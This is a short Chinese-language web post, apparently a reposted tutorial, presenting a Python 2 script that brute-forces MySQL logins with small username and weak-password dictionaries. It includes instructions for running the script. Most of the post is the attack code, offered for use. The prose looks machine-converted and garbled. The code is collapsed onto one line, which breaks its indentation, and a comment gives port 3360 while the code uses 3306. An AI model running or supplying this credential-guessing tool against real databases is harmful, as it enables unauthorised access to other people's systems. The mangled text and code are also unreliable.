Python版Mysql爆破小劇本。本站提示廣大學習愛好者:(Python版Mysql爆破小劇本)文章只能為提供參考,不一定能成為您想要的結果。以下是Python版Mysql爆破小劇本正文
Mysql Python版本爆破小劇本,須要裝置Python插件MySQL-python.exe,可以看出代碼量很少,(留意:裡用戶名和暗碼都是相似字典。用法:保留代碼為MysqlDatabaseBlasting.py,cmd切換到 MysqlDatabaseBlasting.py途徑下,並 履行 MysqlDatabaseBlasting.py便可開端破解 )
import MySQLdb #coding=gbk #目的IP mysql數據庫必需開啟3360長途上岸端口 mysql_username = ('root','test', 'admin', 'user')#賬號字典 common_weak_password = ('','123456','test','root','admin','user')#暗碼字典 success = False host = "127.0.0.1"#數據庫IP地址 port = 3306 for username in mysql_username: for password in common_weak_password: try: db = MySQLdb.connect(host, username, password) success = True if success: print username, password except Exception, e: pass